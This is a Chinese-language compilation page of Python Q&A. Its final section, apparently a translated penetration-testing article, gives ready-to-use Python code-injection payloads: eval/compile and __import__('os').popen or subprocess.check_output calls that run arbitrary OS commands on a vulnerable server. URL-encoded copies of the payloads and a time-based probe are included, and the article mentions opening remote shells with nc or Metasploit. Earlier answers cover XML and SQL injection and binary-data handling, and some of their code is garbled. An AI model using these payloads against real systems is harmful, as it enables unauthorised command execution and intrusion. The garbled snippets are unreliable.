python尋找二進位漏洞,二進位漏洞挖掘方法

本文目錄一覽：

1、Python常見的漏洞都有什麼？
2、python，抓取的網頁為二進位亂碼，怎麼解決
3、python pdf二進位讀取問題
4、python怎麼處理二進位流
5、web漏洞挖掘和二進位漏洞挖掘哪個容易
6、如何使用python查找網站漏洞

Python常見的漏洞都有什麼？

首先是解析XML漏洞。如果您的應用程序載入和解析XML文件，那麼您可能正在使用XML標準庫模塊。有一些針對XML的常見攻擊。大多數是DoS風格（旨在破壞系統而不是竊取數據）。這些攻擊很常見，尤其是在解析外部（即不受信任的）XML文件時。一種這樣的攻擊是「十億笑」，因為載入的文件包含許多（十億）「笑」。您可以載入XML實體文件，當XML解析器嘗試將此XML文件載入到內存中時，它將消耗許多GB的內存。

其次是SQL注入漏洞。SQL注入漏洞的原因是用戶輸入直接拼接到SQL查詢語句中。在pythonweb應用程序中，orm庫一般用於資料庫相關的操作。例如，Flask和Tornado經常使用SQLAlchemy，而Django有自己的orm引擎。.但是如果不使用ORM，直接拼接SQL語句，就有SQL注入的風險。

再者是輸入函數漏洞。在Python2的大量內置特性中，輸入是一場徹底的安全災難。一旦調用它，從標準輸入讀取的任何內容都會立即解析為Python代碼，顯然，除非腳本的標準輸入中的數據完全可信，否則決不能使用輸入函數。Python2文檔建議將rawinput作為安全的替代方案。在Python3中，input函數等價於rawinput，一勞永逸地解決了這個陷阱。

要知道SSTI是ServerSideTemplateInjection，是Web開發中使用的模板引擎。模板引擎可以將用戶界面和業務數據分離，邏輯代碼和業務代碼也可以相應分離，代碼復用變得簡單，開發效率也提高了。模板在伺服器端使用，數據由模板引擎渲染，然後傳遞給用戶，可以為特定用戶/特定參數生成對應的頁面。我們可以對比一下百度搜索，搜索不同詞條得到的結果頁面是不一樣的，但是頁面的邊框基本是一樣的。

python，抓取的網頁為二進位亂碼，怎麼解決

看看你的請求頭Accept-Encoding是不是設置了gzip,deflate

這樣的話，返回的response是需要解壓縮的

# Content-Encoding: gzip

#Content-Encoding: deflate

if(“Content-Encoding” in respInfo):

if(“gzip” == respInfo[‘Content-Encoding’]):

respHtml = zlib.decompress(respHtml, 16+zlib.MAX_WBITS);

elif(“deflate” == respInfo[‘Content-Encoding’]):

respHtml = zlib.decompress(respHtml, -zlib.MAX_WBITS);

python pdf二進位讀取問題

可以使用numpy.fromfile()，也可以使用open(filename, ‘rb’)，其中的’b’就是二進位的意思，然後使用文件類型的read方法，讀取一些位元組，再用struct.unpack()方法來解析二進位。

第一種方法是一次性讀入文件（或文件的前多少個連續位元組）到一個數組中，因此，靈活性差。

第二種方法靈活性很高，可以讀取任意位置（使用文件的seek()方法跳躍位置）的二進位數據，再使用struct.unpack()方法來進行各種二進位解析。

提示：二進位文件是不保留存儲方式的數據格式，因此，讀二進位文件時應該知道二進位文件的存儲格式。

python怎麼處理二進位流

可以的，二進位是計算機內的表示方法，處理二進位數據是最基本的能力。

如果是二進位字元串轉十進位：

x = ‘10101010’

int(x, 2)

170

如果是從文件或網路中獲取的數據，要知道某一位是0還是1的話，獲取的數據可以按字元讀取，由於一個字元由8位二進位表示，分別讀取1到8位的二進位值就可以了：

get_char_bit = lambda char, n: (char (8-n)) 1 # 從高到低分別為第1～8位

data = b’ab’ # 在python3中字元串默認是unicode，所以加上b前綴兼容

# 在python3中按字元讀取byte字元串是數字，而python2讀出來的卻是字元，但bytearray是一致的都是數字

data = bytearray(data)

result = []

for char in data:

for i in range(1, 9):

result.append(get_char_bit(char, i))

result

[0, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0]

web漏洞挖掘和二進位漏洞挖掘哪個容易

首先這類問題建議你去知乎，百度的回答你也看到了。好了，接下來我回答一下這個問題。要說到哪個容易，要看你個人對漏洞的理解。比如說web,想要做到挖掘，你得熟悉甚至精通一個web框架，比如說lamp,linux+apache+mysql+php，你可以搞定相關的一些問題。學習成本你也看到了。另外是對於漏洞的理解，常見的web漏洞，sql注入，xss跨站，csrf跨站請求偽造，文件上傳，命令執行等等。繼續說0day挖掘，白盒(比如代碼審計)，灰盒(黑白盒結合)，黑盒(Fuzz)。等等。接著來說二進位漏洞，我理解的二進位是，系統級別的漏洞挖掘。常見的比如緩衝區溢出，內存泄露等，影響比如本地許可權提升等等。學習成本就是你要學習彙編，C/C++，了解操作系統知識。熟悉常用的比如OD,IDA Pro等調試工具。另外建議學習一門腳本語言，方便編寫poc,這裡推薦python。

至於難易程度，自己來決定吧。

如何使用python查找網站漏洞

如果你的Web應用中存在Python代碼注入漏洞的話，攻擊者就可以利用你的Web應用來向你後台伺服器的Python解析器發送惡意Python代碼了。這也就意味著，如果你可以在目標伺服器中執行Python代碼的話，你就可以通過調用伺服器的操作系統的指令來實施攻擊了。通過運行操作系統命令，你不僅可以對那些可以訪問到的文件進行讀寫操作，甚至還可以啟動一個遠程的互動式Shell(例如nc、Metasploit和Empire)。

為了復現這個漏洞，我在最近的一次外部滲透測試過程中曾嘗試去利用過這個漏洞。當時我想在網上查找一些關於這個漏洞具體應用方法的信息，但是並沒有找到太多有價值的內容。在同事Charlie Worrell(@decidedlygray)的幫助下，我們成功地通過Burp POC實現了一個非互動式的shell，這也是我們這篇文章所要描述的內容。

因為除了Python之外，還有很多其他的語言(例如Perl和Ruby)也有可能出現代碼注入問題，因此Python代碼注入屬於伺服器端代碼注入的一種。實際上，如果各位同學和我一樣是一名CWE的關注者，那麼下面這兩個CWE也許可以給你提供一些有價值的參考內容：

1. CWE-94：代碼生成控制不當(『代碼注入』)2. CWE-95：動態代碼評估指令處理不當(『Eval注入』)漏洞利用

假設你現在使用Burp或者其他工具發現了一個Python注入漏洞，而此時的漏洞利用Payload又如下所示：

eval(compile(‘for x in range(1):\n import time\n time.sleep(20)’,’a’,’single’))那麼你就可以使用下面這個Payload來在目標主機中實現操作系統指令注入了：

eval(compile(“””for x in range(1):\\n import os\\n os.popen(r’COMMAND’).read()”””,”,’single’))實際上，你甚至都不需要使用for循環，直接使用全局函數「__import__」就可以了。具體代碼如下所示：

eval(compile(“””__import__(‘os’).popen(r’COMMAND’).read()”””,”,’single’))其實我們的Payload代碼還可以更加簡潔，既然我們已經將import和popen寫在了一個表達式裡面了，那麼在大多數情況下，你甚至都不需要使用compile了。具體代碼如下所示：

__import__(‘os’).popen(‘COMMAND’).read()

為了將這個Payload發送給目標Web應用，你需要對其中的某些字元進行URL編碼。為了節省大家的時間，我們在這裡已經將上面所列出的Payload代碼編碼完成了，具體如下所示：

param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下來，我們將會給大家介紹關於這個漏洞的細節內容，並跟大家分享一個包含這個漏洞的Web應用。在文章的結尾，我將會給大家演示一款工具，這款工具是我和我的同事Charlie共同編寫的，它可以明顯降低你在利用這個漏洞時所花的時間。簡而言之，這款工具就像sqlmap一樣，可以讓你快速找到SQL注入漏洞，不過這款工具仍在起步階段，感興趣的同學可以在項目的GitHub主頁[傳送門]中與我交流一下。

搭建一個包含漏洞的伺服器

為了更好地給各位同學進行演示，我專門創建了一個包含漏洞的Web應用。如果你想要自己動手嘗試利用這個漏洞的話，你可以點擊這裡獲取這份Web應用。接下來，我們要配置的就是Web應用的運行環境，即通過pip或者easy_install來安裝web.py。它可以作為一台獨立的伺服器運行，或者你也可以將它載入至包含mod_wsgi模塊的Apache伺服器中。相關操作指令如下所示：

git clone VulnApp

./install_requirements.sh

python PyCodeInjectionApp.py

漏洞分析

當你在網上搜索關於python的eval()函數時，幾乎沒有文章會提醒你這個函數是非常不安全的，而eval()函數就是導致這個Python代碼注入漏洞的罪魁禍首。如果你遇到了下面這兩種情況，說明你的Web應用中存在這個漏洞：

1. Web應用接受用戶輸入(例如GET/POST參數，cookie值);2. Web應用使用了一種不安全的方法來將用戶的輸入數據傳遞給eval()函數(沒有經過安全審查，或者缺少安全保護機制);下圖所示的是一份包含漏洞的示例代碼：

大家可以看到，eval()函數是上述代碼中唯一一個存在問題的地方。除此之外，如果開發人員直接對用戶的輸入數據(序列化數據)進行拆封的話，那麼Web應用中也將會出現這個漏洞。

不過需要注意的是，除了eval()函數之外，Python的exec()函數也有可能讓你的Web應用中出現這個漏洞。而且據我所示，現在很多開發人員都會在Web應用中不規範地使用exec()函數，所以這個問題肯定會存在。

自動掃描漏洞

為了告訴大家如何利用漏洞來實施攻擊，我通常會使用掃描器來發現一些我此前沒有見過的東西。找到之後，我再想辦法將毫無新意的PoC開發成一個有意義的exploit。不過我想提醒大家的是，不要過度依賴掃描工具，因為還很多東西是掃描工具也找不到的。

這個漏洞也不例外，如果你在某個Web應用中發現了這個漏洞，那麼你肯定使用了某款自動化的掃描工具，比如說Burp Suite Pro。目前為止，如果不使用類似Burp Suite Pro這樣的專業掃描工具，你幾乎是無法發現這個漏洞的。

當你搭建好測試環境之後，啟動並運行包含漏洞的示例應用。接下來，使用Burp Suite Pro來對其進行掃描。掃描結果如下圖所示：

下圖顯示的是Burp在掃描這個漏洞時所使用的Payload：

我們可以看到，Burp之所以要將這個Web應用標記為「Vulnerable」(包含漏洞的)，是因為當它將這個Payload發送給目標Web應用之後，伺服器的Python解析器休眠了20秒，響應信息在20秒之後才成功返回。但我要提醒大家的是，這種基於時間的漏洞檢查機制通常會存在一定的誤報。

將PoC升級成漏洞利用代碼

使用time.sleep()來驗證漏洞的存在的確是一種很好的方法。接下來，為了執行操作系統指令並接收相應的輸出數據，我們可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()這幾個函數。當然了，應該還有很多其他的函數同樣可以實現我們的目標。

因為eval()函數只能對表達式進行處理，因此Burp Suite Pro的Payload在這裡使用了compile()函數，這是一種非常聰明的做法。當然了，我們也可以使用其他的方法來實現，例如使用全局函數「__import__」。關於這部分內容請查閱參考資料：[參考資料1][參考資料2]

下面這個Payload應該可以適用於絕大多數的場景：

# Example with one expression

__import__(‘os’).popen(‘COMMAND’).read()

# Example with multiple expressions, separated by commasstr(“-“*50),__import__(‘os’).popen(‘COMMAND’).read()如果你需要執行一個或多個語句，那麼你就需要使用eval()或者compile()函數了。實現代碼如下所示：

# Examples with one expression

eval(compile(“””__import__(‘os’).popen(r’COMMAND’).read()”””,”,’single’))eval(compile(“””__import__(‘subprocess’).check_output(r’COMMAND’,shell=True)”””,”,’single’))#Examples with multiple statements, separated by semicolonseval(compile(“””__import__(‘os’).popen(r’COMMAND’).read();import time;time.sleep(2)”””,”,’single’))eval(compile(“””__import__(‘subprocess’).check_output(r’COMMAND’,shell=True);import time;time.sleep(2)”””,”,’single’))在我的測試過程中，有時全局函數「__import__」會不起作用。在這種情況下，我們就要使用for循環了。相關代碼如下所示：

eval(compile(“””for x in range(1):\n import os\n os.popen(r’COMMAND’).read()”””,”,’single’))eval(compile(“””for x in range(1):\n import subprocess\n subprocess.Popen(r’COMMAND’,shell=True, stdout=subprocess.PIPE).stdout.read()”””,”,’single’))eval(compile(“””for x in range(1):\n import subprocess\n subprocess.check_output(r’COMMAND’,shell=True)”””,”,’single’))如果包含漏洞的參數是一個GET參數，那麼你就可以直接在瀏覽器中利用這個漏洞了：

請注意：雖然瀏覽器會幫你完成絕大部分的URL編碼工作，但是你仍然需要對分號(%3b)和空格(%20)進行手動編碼。除此之外，你也可以直接使用我們所開發的工具。

如果是POST參數的話，我建議各位直接使用類似Burp Repeater這樣的工具。如下圖所示，我在subprocess.check_output()函數中一次性調用了多個系統命令，即pwd、ls、-al、whoami和ping。

漏洞利用工具-PyCodeInjectionShell

你可以直接訪問PyCodeInjectionShell的GitHub主頁獲取工具源碼，我們也提供了相應的工具使用指南。在你使用這款工具的過程中會感覺到，它跟sqlmap一樣使用起來非常的簡單。除此之外，它的使用方法跟sqlmap基本相同。

原創文章，作者：小藍，如若轉載，請註明出處：https://www.506064.com/zh-tw/n/159605.html